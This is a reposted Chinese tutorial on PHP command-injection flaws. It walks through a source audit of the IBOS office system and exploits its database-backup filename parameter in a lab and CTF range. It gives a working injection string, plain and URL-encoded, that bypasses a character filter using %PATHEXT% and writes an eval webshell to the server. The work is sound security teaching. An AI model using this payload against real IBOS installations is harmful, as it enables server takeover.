一、命令执行漏洞原理
用户输入数据被当做系统命令执行
<?php system('whoani')?> 其实这个一句话木马的本质就是命令执行漏洞
代码执行:用户输入数据被当做后端代码执行
命令执行:用户输入数据被当做系统命令执行
因为代码执行情况下,可以调用命令执行函数,所以大部分代码执行都可以调用系统命令,菜刀中断操作也是利用命令执行函数,命令执行也可以写文件的方法获得webshell
命令行写入文件
二、命令执行函数解析
1、system('whoami');
目标机器是linux命令,执行的就是Bash命令,如果是windows就执行cmd命令
2、echo exec('whoami');
php会操作计算机执行whoami命令,并获取最后一行数据
3、echo shell_exec('whoami');
php会操作计算机执行whoami命令并获取所有数据
4、passthru('whoami');
只调用命令,把命令的运行结果原样输出到标准输出设备
5、特殊符号,反引号(`) => echo `whoami`;
反引号其实就是调用的shell_exec()函数
6、popen(要执行的命令,参数)
r是读,w是写
$a = popen('whoami','r');
echo fread($a,1024);
这个执行命令的返回值比较特殊,返回的是一个文件指针,需要用fread读取返回值。
三、本地实验
1、在虚拟机上安装IBOS,安装好后在本地访问
2、源码审计
这里我们进入Seay源码审计系统,发现里面的源代码看不懂,是因为使用了Zend加密了源码。我们先使用工具解密。
解密后正则表达式匹配exec\(.*\),搜索到shell_exec()的函数调用
源代码如下,我们找可以利用的变量
-
shell_exec($mysqlBin .
'mysql -h"' . $db[
'host'] . ($db[
'port'] ? (is_numeric($db[
'port']) ?
' -P' . $db[
'port'] :
' -S"' . $db[
'port'] .
'"') :
'') .
-
'" -u"' . $db[
'username'] .
'" -p"' . $db[
'password'] .
'" "' . $db[
'dbname'] .
'" < ' . $file);
(1)$mysqlBin
$mysqlBin相关源代码
三目运算符, 判断条件?成立时执行1:不成立执行2
$mysqlBin = $mysqlBase == '/' ? '' : addslashes($mysqlBase) . 'bin/';
$mysqlBase相关源代码
$mysqlBase = $query['Value'];
$query相关函数
$query = $command->setText("SHOW VARIABLES LIKE 'basedir'")->queryRow();
SHOW VARIABLES LIKE 'basedir'是一个数据库执行语句,返回一个路径,这个路径被赋值给$mysqlBase
如果$mysqlBase等于/,则输出空,如不是,则添加在原路径下添加bin/,并赋值给$mysqlBin
$mysqlBin是从数据库执行语句得到,核心是查询数据库的变量
(2)$db
再看shell_exec的源代码,里面有一个$db,我们回溯到如下代码
-
$config = @
include PATH_ROOT .
'./system/config/config.php';
-
if (
empty($config)) {
-
throw
new
Exception(Ibos::Lang(
'Config not found',
'error'));
-
}
else {
-
$db = $config[
'db'];
-
}
$db是由$config决定,$config是由system/config/config.php决定
$db是从config.php中读取出来,这是一个配置文件,一般不可控制
(3)$file
再查看源码,找到可以利用的$file
-
function restore($id)
-
{
-
$path = PATH_ROOT;
-
if (strstr($path,
'data')) {
-
$id = trim(str_replace(
'data',
'', $id),
'/');
-
}
-
$file = urldecode($id);
-
$fp = @fopen($file,
'rb');
$file是urldecode($id)的值,id是一个形参,有restore函数决定。于是我们可以搜索restore调用的地方,一个个分析。但这样的方法效率很不高,所以我们换个思路。
再次查看源代码
-
shell_exec($mysqlBin .
'mysql -h"' . $db[
'host'] . ($db[
'port'] ? (is_numeric($db[
'port']) ?
' -P' . $db[
'port'] :
' -S"' . $db[
'port'] .
'"') :
'') .
-
'" -u"' . $db[
'username'] .
'" -p"' . $db[
'password'] .
'" "' . $db[
'dbname'] .
'" < ' . $file);
这里涉及mysql导出命令,关键词<
带条件导出数据:mysqldump -u root -p --where='id<5' 数据库名> D:\导出文件名.sql
我们在全局搜索还可以搜索到一个带有shell_exec的函数,在/system/core/utils/Database.php中,代码如下
$mysqlBin和$db不可控制,再查看$dumpfile,核心是导出文件名,于是搜索$dumpfile是否可以被控制。
找到$dumpfile被$backupFileName控制
再搜索$backupFileName,发现$backupFileName是由$fileName决定,将$fileName中的 / \\ . ' 都替换成空
$fileName由getRequest决定,这是YII框架,用于获取信息
总结一下$dumpFile -> $backupFileName -> $fileName -> getRequest("filename")
filename 传参不能出现array("/","\\","."," ' ")中这些东西
$fumpFile = $backupFileName . "-%s.sql"; 这里会给文件名加后缀 . sql,最后执行dumpfile。
在后台系统中开启数据库的系统mysql dump备份,提交,抓包,我们可以抓到带有文件名的burp数据包
在服务器主机上也找到备份的文件
我们可以通过上传&echo "<?php eval($_REQUEST[8]);?>">123.php&qwe
来上传一个123.php的一句话木马。
但由于源代码中要过滤字符. 所以我们要设法绕过,详见https://www.anquanke.com/post/id/208398
我们可以利用环境变量中的. 来绕过检测
所以执行代码如下:
asdasd&echo "<?php eval($REQUEST[8]);?>">aaa%PATHEXT:~0,1%php&qwe
文件上传是需要经过post传参,影响了&,文件没有上传成功。但这里$fileName由getRequest决定,不仅可以获得post,也是可以使用get传参的,可以使用url编码,解决对&的影响。
filename=asdasd&echo "<?php eval($_REQUEST[8])?>">aaa%PATHEXT:~0,1%php&qwe
&filename=asdasd%26echo %22%3C%3Fphp eval(%24_REQUEST%5B8%5D)%3F%3E%22%3Eaaa%25PATHEXT%3A%7E0%2C1%25php%26qwe
最后上传成功
可以获得phpinfo的界面
四、靶场
靶场和本地一样的做法,连接菜刀,找到flag
转载:https://blog.csdn.net/weixin_45540609/article/details/117317691